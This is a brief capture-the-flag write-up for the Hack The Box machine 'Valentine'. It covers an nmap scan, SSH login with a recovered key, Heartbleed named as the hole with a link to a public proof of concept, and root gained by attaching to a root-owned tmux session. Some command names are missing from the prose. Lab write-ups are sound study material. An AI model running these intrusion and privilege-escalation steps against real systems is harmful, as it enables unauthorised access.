```
[]$ nmap -Pn -T4 -A -v 10.129.87.140

PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 96:4c:51:42:3c:ba:22:49:20:4d:3e:ec:90:cc:fd:0e (DSA)
|   2048 46:bf:1f:cc:92:4f:1d:a0:42:b3:d2:16:a8:58:31:33 (RSA)
|_  256 e6:2b:25:19:cb:7e:54:cb:0a:b9:ac:16:98:c6:7d:a9 (ECDSA)
80/tcp  open  http     Apache httpd 2.2.22 ((Ubuntu))
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
443/tcp open  ssl/http Apache httpd 2.2.22 ((Ubuntu))
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject:
commonName=valentine.htb/organizationName=valentine.htb/stateOrProvinceName=FL/
countryName=US
| Issuer:
commonName=valentine.htb/organizationName=valentine.htb/stateOrProvinceName=FL/
countryName=US
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2018-02-06T00:45:25
| Not valid after:  2019-02-06T00:45:25
| MD5:   a413 c4f0 b145 2154 fb54 b2de c7a9 809d
|_SHA-1: 2303 80da 60e7 bde7 2ba6 76dd 5214 3c3c 6f53 01b1
|_ssl-date: 2021-01-26T16:10:11+00:00; 0s from scanner time.
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel


[]$ ssh -i hype_key hype@10.129.87.140
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@         WARNING: UNPROTECTED PRIVATE KEY FILE!          @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Permissions 0644 for 'hype_key' are too open.
It is required that your private key files are NOT accessible by others.
This private key will be ignored.
Load key "hype_key": bad permissions
hype@10.129.87.140's password:


[]$ ssh -i hype_key hype@10.129.87.140
Enter passphrase for key 'hype_key':

_____________________________________


The server is vulnerable to Heartbleed, as hinted by the machine name :
Vanlentine...Heartbleed

[ https://github.com/sensepost/heartbleed-poc

[]$ chmod +x heartbleed-poc.py
```

```
[]$ nano base64-string

[]$ ssh -i hype_key hype@10.129.87.140
Enter passphrase for key 'hype_key':
Welcome to Ubuntu 12.04 LTS (GNU/Linux 3.2.0-23-generic x86_64)

* Documentation:  https://help.ubuntu.com/

New release '14.04.5 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

Last login: Fri Feb 16 14:50:29 2018 from 10.10.14.3
hype@Valentine:~$ cat /home/hype/Desktop/user.txt
e6710a546476********************

Running  reveals a tmux session being run as the root user :

hype@Valentine:~$ ps aux -w
USER        PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root       1181  0.0  0.1  26416  1672 ?        Ss   07:08   0:02 /usr/bin/tmux -
S /.devs/dev_sess
hype       3348  0.0  0.1  22352  1280 pts/0    R+   09:00   0:00 ps aux -w


Simply running the command  will connect to the session, with full root privileges.

root@Valentine:/home/hype# cat /root/root.txt
f1bb6d759df1********************
```